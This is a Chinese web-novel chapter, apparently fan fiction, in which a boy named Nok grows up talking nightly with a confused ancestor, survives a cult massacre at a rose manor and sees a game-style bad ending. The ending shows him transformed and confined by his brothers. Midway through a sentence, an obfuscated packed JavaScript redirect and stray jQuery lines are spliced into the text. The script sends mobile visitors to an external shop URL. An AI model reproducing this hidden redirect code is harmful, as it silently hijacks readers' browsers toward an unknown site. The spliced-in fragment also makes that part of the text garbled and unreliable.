1336年,特里尔。

    虽然第一次交涉没有取得进展,但诺克聪明的小脑袋瓜还是想到了方法。他每天晚上准时打一通电话跟孤寡老祖宗聊天,每个满月夜更是从不缺勤——只要我不睡,你就吵不到我,诺克将这项活动称为“话疗”,致力于帮失智老祖宗找回神智。

    “伯特利,为什么我从来没有遇见过你说的‘另一个你’?”诺克躺在床上数星星,和面前的漩涡对话。

    伯特利很难回答这个问题,因为每一次诺克联系上他时他就会短暂地从疯狂中脱离出来,尤其是满月夜,那种狂躁已经很久没有造访了。

    深知这是属于[司书]的规则之外的力量在保护诺克,伯特利温声回答:“我最近状态还不错。”

    渐渐发现“打电话”能让伯特利清醒然后保持安静,诺克每晚都开着“电话”睡觉,没别的,只是为了清净。他缩在柔软的天鹅绒里,打了个哈欠:“我要睡了,给我讲两个第三纪睡前小故事吧。”

    “好吧。”伯特利嗓音含笑,“让我想想可以讲些什么……”

    柔软温暖的被窝内,黑发紫眸的孩童蜷缩着睡着了,在床上方,灵性铸造的漩涡渐渐淡化消失。

    “晚安,孩子。”

    但片刻后,诺克无奈地睁开眼。电话挂断后老祖宗又疯了!这个觉还让不让人睡了。

    震惊!孤寡老人被囚未知之地,没有儿女陪伴后终成双重人格,令人泪目。

    诺克知道自己得加快步伐寻找伤疤锁的生成契机了——别让等待成为遗憾啊!

    ……

    七岁,诺克严肃地对母亲宣布:“妈妈,我要做锁匠。”

    安娜正摸着一位贵妇人的小手说甜言蜜语,闻言对儿子的职业规划不置可否:“加油。”

    自认为得到鼓励的诺克当着宴会所有人的面,把宴会厅大门上的古董门把手拆了——开玩笑,不支持也拆。

    八岁,上流社会孩子们的聚会上,诺克那一对冤种双胞胎弟弟被不小心反锁在杂物间。正值中二期的诺克在孩子们崇拜的目光中,左手插兜,右手淡定地用一根别针打开了门锁。还带着婴儿肥的小脸神色冷淡,评价着这把锁的难度:“无聊。”

    十岁,学习骑马。两个冤种弟弟的马忽然发狂,诺克骑着自己的爱驹将马逼停,然后把两个被吓坏了的倒霉蛋从马上一个个抱下来。“菜就多练。”诺克抱着两个跟自己差不多高的萝卜头,如此评价。

    十一岁,两个冤种弟弟被他们亲妈接走,据说是回去继承外婆的遗产。诺克跟了上去,一番死缠烂打把弟弟们带回家。他认真解释自己的行为动机:“我不能离开你们。”没人继承塔拉家业,万一他不小心继承家业打出了凡人结局怎么办,他辛苦这么多年可不是为了做一个普通富二代。

    十三岁,被约翰排挤入绝境的政敌发了疯,收买野生非凡者绑架了双生子,把他们锁在一间废弃工厂中后放了火。诺克打开锁冲进火场,在双生子惊讶的目光中一左一右拉起他们的手:“愣着干嘛?跑啊。”

    这间废弃工厂曾被用来锻造兵器,如今它重新作为熔炉燃起熊熊大火,在这不焚之密中,铁也融为水。钢管倒塌,诺克下意识给冤种弟弟挡了一下,肩膀上留下一道烫伤。他坚持到冲出火场,然后就地晕倒。

    【拆解与重组(铸):寒冷者必当以火淬炼,回归火的严冬。这是我的原料,这是我的柴薪,这是我的铸炉——然后,你可以进入这将新生的我了。我的一小片皮肤被破坏,我大可撕裂它触碰我自己,此即为第三道伤疤。[破坏乃重组的先决]】

    三个孩子被救回来,陷入昏迷的诺克一度失去呼吸。直到又一张[健康]转化为伤疤,最后诺克还是睁开了眼,看见伤疤锁已经成功一道的他发誓再也不说冤种弟弟是倒霉蛋了——明明是我的福星啊!

    拥有第三道伤疤锁的诺克终于有了足够的灵性维持长时间漩涡通话,晚上可以睡好觉了。

    某一天,照例的睡前小故事环节,诺克缩在被窝里咔嚓咔嚓吃饼干:“伯特利,你觉得我未来干什么比较好?”

    深红漩涡的另一端,伯特利刚刚讲完一个第三纪小故事,嗓音含笑:“你未来想做什么?”

    “嗯……锁匠?”诺克想了想,“但是技术含量太低了。其实我有点想做窃贼。”

    “……偷盗者?”伯特利被自家孩子的雄心壮志震撼了,他想到某个麻烦的家伙,“为什么?”

    诺克理直气壮:“你不觉得把冰冷的手伸进别人温暖的钱包会很爽吗?”

    你缺钱吗……伯特利无奈。十几年了,他早就发现诺克的父母根本没有给他正确的教育,带了十几年孩子后他人性都增长了:“正常情况下,不可以偷东西。”

    “那不正常情况呢?”诺克兴致勃勃地追问。

    “等你一只眼近视吧。”伯特利说了个冷笑话。

    诺克撇撇嘴,滑进被子里:“晚安,伯特利。”

    “先起来去把牙刷了。”

    “……哼。”

    十五岁,诺克与一群小伙伴去郊区有名的玫瑰庄园度假。偶遇灵知会搞事,一群上流社会老爷太太们的小朋友首当其冲,被逮的诺克思考人生中。

    他固然可以开锁逃跑……但只有他一个人跑得掉。

    ……

    玩家在屏幕前直挠头。

    桌面上响起了阴沉的背景音乐,一般情况下这代表着游戏遇到了关乎结局的难题,无法解除危机就只能迎来BE。自从解锁[司书]卡后,这还是玩家第一次遇到这种情况。

    玩家按了[暂停],细看桌面上的文案。

    “果然还是有点好奇……”他存了个档,不做任何操作,想试试即将迎来的BE结局是什么。

    ……

    玫瑰庄园的宴会厅,这曾经充满欢声笑语的华丽建筑内如今只能听见哀鸣与抽泣。

    守卫的血浸湿地毯,空气中弥漫着玫瑰的芬芳以及令人作呕的腥气,被碾烂的玫瑰花瓣血点一样到处都是。出身高贵的少爷小姐们蜷缩在一起,看着不速之客为佣人们“解脱”。

    这群自称“灵知会”的家伙喊着什么“将精神从□□的牢笼中解放”就动手了,一些承受能力弱的孩子已经晕了过去。

    桌面上的[恐惧]在一张张叠加,诺克怀疑这就是导致BE的因素:3[恐惧]直接送你归天。

    只是这样的话就有些没意思了……希望能有新的结局结算文案吧。诺克保持着超乎常人的淡定,心想。

    他双手被反绑在身后,身上的白衬衫沾着血迹,是刚才灵知会杀人时近距离喷溅在他身上的。贵族们给自家孩子配的非凡者保镖比诺克想象得要多,只是都没打过,现在已经变成非凡特性了。

    早知道出门前不穿短裤了,坐地上腿冷……诺克接着想道,眼看着蜿蜒的血流流过他的小腿。还脏,他在心里补充。

    这次两个倒霉弟弟不在,倒霉的就成了诺克本人。骰子之神真是不眷顾我……

    他漂亮的紫色双眼如一对紫宝石,冷静地和一个灵知会成员对上了目光。

    那个成员愣了一下,随即笑着走上前:“瞧瞧我发现了什么?一个漂亮的小可爱~”她蹲在诺克面前,抬起他的下巴:“怎么不哭呢,宝贝?”

    诺克眨眨眼:“看呆了。”

    “你真幽默~”成员摸了摸他的眼角,“真是漂亮的眼睛……我想想,特里尔只有一个人的眼睛是这种水晶般的颜色。你是诺克·塔拉,对不对?”

    我这么出名的吗?诺克自己都不知道,他煞有介事地点点头:“我是。很高兴认识你,美丽的女士。”

    “哦?美丽?有多美丽?”

    “您让整座庄园的玫瑰芬芳都有了不一样的气味。”诺克实事求是道,毕竟血腥气也是气味。

    成员笑得很灿烂,不知是被哪句话逗笑了:“我有些舍不得杀你了……让我想想,我有个好主意。”

    成员起身离开,片刻后,她带着微妙恶意的笑容,把一个玻璃瓶递到诺克嘴边:“这样吧,你喝下它我就不杀你,怎么样?”

    诺克本来就等着看BE结局呢,当然无所谓,坦然就着她的手喝了。

    之后的事发展得很猝不及防,得手的灵知会带着唯一幸存者诺克离开庄园。玫瑰庄园惨案震惊因蒂斯上流阶级,教会与皇室派出非凡者大规模围剿隐秘组织。而在涌动的潮流之下,一部分不受控制的灵知会极端成员遭到了来自魔女教派与塔拉家族的联合

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786396|210178||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    清洗。

    兜兜转转,诺克·塔拉还是回到了自己家。

    真是大水冲了龙王庙,果然还是骰运不好害的吧……得知真相的诺克神情微妙。

    “哥哥。”里奥·塔拉来看望不幸遭受袭击的诺克。身为双生子中大一些的那个,一向镇静的他此时却难掩焦急神色:“你没事吧?”

    “没事。”诺克挥开臭弟弟揉自己脸蛋的手。

    双生子中小一些的查理爬上床,双手揽住诺克的脖子,头埋在诺克颈窝:“哥哥,吓死我了。”

    “那你太不经吓了。”诺克不动且拒,歪着脑袋,“你头发扎着我了。”

    里奥跪在床沿检查诺克的伤势:“我们会让他们付出代价的……”

    “嗯嗯嗯。”诺克敷衍。

    双生子见诺克没什么兴致,过了一会儿就主动退出去了,两人边走边低声对话,或许普通人听不见他们在说什么,但诺克不仅是[启],还有上帝视角。

    “哥哥误服了‘刺客’魔药……”

    “这不好吗?”

    “他会不开心的。”

    “反正他也不能出门了。”

    “……”

    “你在难过?这里没有外人,不要假惺惺的,查理。”

    “……我只是有些担心。”

    “不用担心,我们会照顾好他的。”

    诺克·塔拉已经不适合再出现在公众视线中,对外他一直处于失踪状态。约翰议员让自己的二儿子里奥·塔拉继承了塔拉家族在政坛的势力,三儿子查理·塔拉继承了家族的工厂。

    几年后。

    已经晋升为“法官”的里奥回到庄园,他脱下外套递给佣人,顺着旋转楼梯向二楼走去。“秘法师”查理·塔拉,公众眼中风头无两的年轻企业家,如今正在家中陪伴他病弱的新婚妻子。

    查理推开卧室门,弟弟的新婚妻子正侧身靠窗坐着,继承自母亲的乌黑卷发波浪一般垂下,一直拖到柔软的羊毛地毯上,她苍白的脸上是精致到宛若艺术品的五官,小巧的红唇、高挺的鼻梁、浓密的睫羽,最引人注目的是那一对水晶般的紫色眸子。这女巫一般神秘又美丽的女子穿着纯白的宫廷长裙,一只手托腮看着窗外发呆,纤细的腰身带着病中独特的脆弱感,她的新郎正跪在地上为她擦拭刚洗过的头发。

    “姐姐……”查理走上前吻她,“新婚快乐。”

    【水晶玫瑰:我被带到一座高塔的顶层,在那里我的呼吸泛着芬芳,我的头发缓缓生长,我的皮肤细腻而光滑。生活安逸又柔软,我没有快乐,也没有不快乐的理由。有时我望着星空,会想起我似乎忘了什么。[也算是一种小胜结局吧]】

    玩家欣赏了一下结局图文,截屏纪念,然后读档。

    ……

    哪个玩家玩游戏不追求最大限度减少损害呢?但所有能放进去的卡牌玩家都试过一遍了,最好的结局就是角色一个人逃跑,中等结局是因蒂斯特色关系,最坏的是无人生还……在把所有新结局都截图留念一次后,玩家重新读档,暂停,思考。

    “游戏你对我真的很差,我的骰运这么不好都是你害的。”玩家吐槽。

    他试着拖动桌面上其他角色卡作为解法,如果有个强度不低的非凡者加入战斗那就轻松多了。可惜[司书]卡放不进去,[收尸人]卡提示不在同一时间线。

    如果有新的角色卡……

    玩家灵机一动,他把[司书]拖进【入梦】里。随着一阵骰子摇动的声音,【入梦】的进度条开始转动,片刻后,[司书]与一张新的卡牌被返还回来。

    玩家点击新卡牌使其翻转。

    【歌颂者[点击此处命名]】:十二盏灯通明,一束辉光穿过玻璃与皮肤,直至照亮我的色彩,褪去我的轮廓,在最盛时令我纯白无暇。镜中之我即为现实之我,无有阴影,亦无有仁慈。

    [性相:我本身]:这世间我最熟悉、最亲密的存在,我即是我。

    [性相:非凡者]:一些区别于常人的力量,我了解辉光与太阳,但要小心使用,这可能使我入迷。

    [性相:灯]:“生命是束纯净的火焰,我们内心都拥有一颗无形的太阳。”——托马斯·布朗。(灯是理性与启明的准则)①。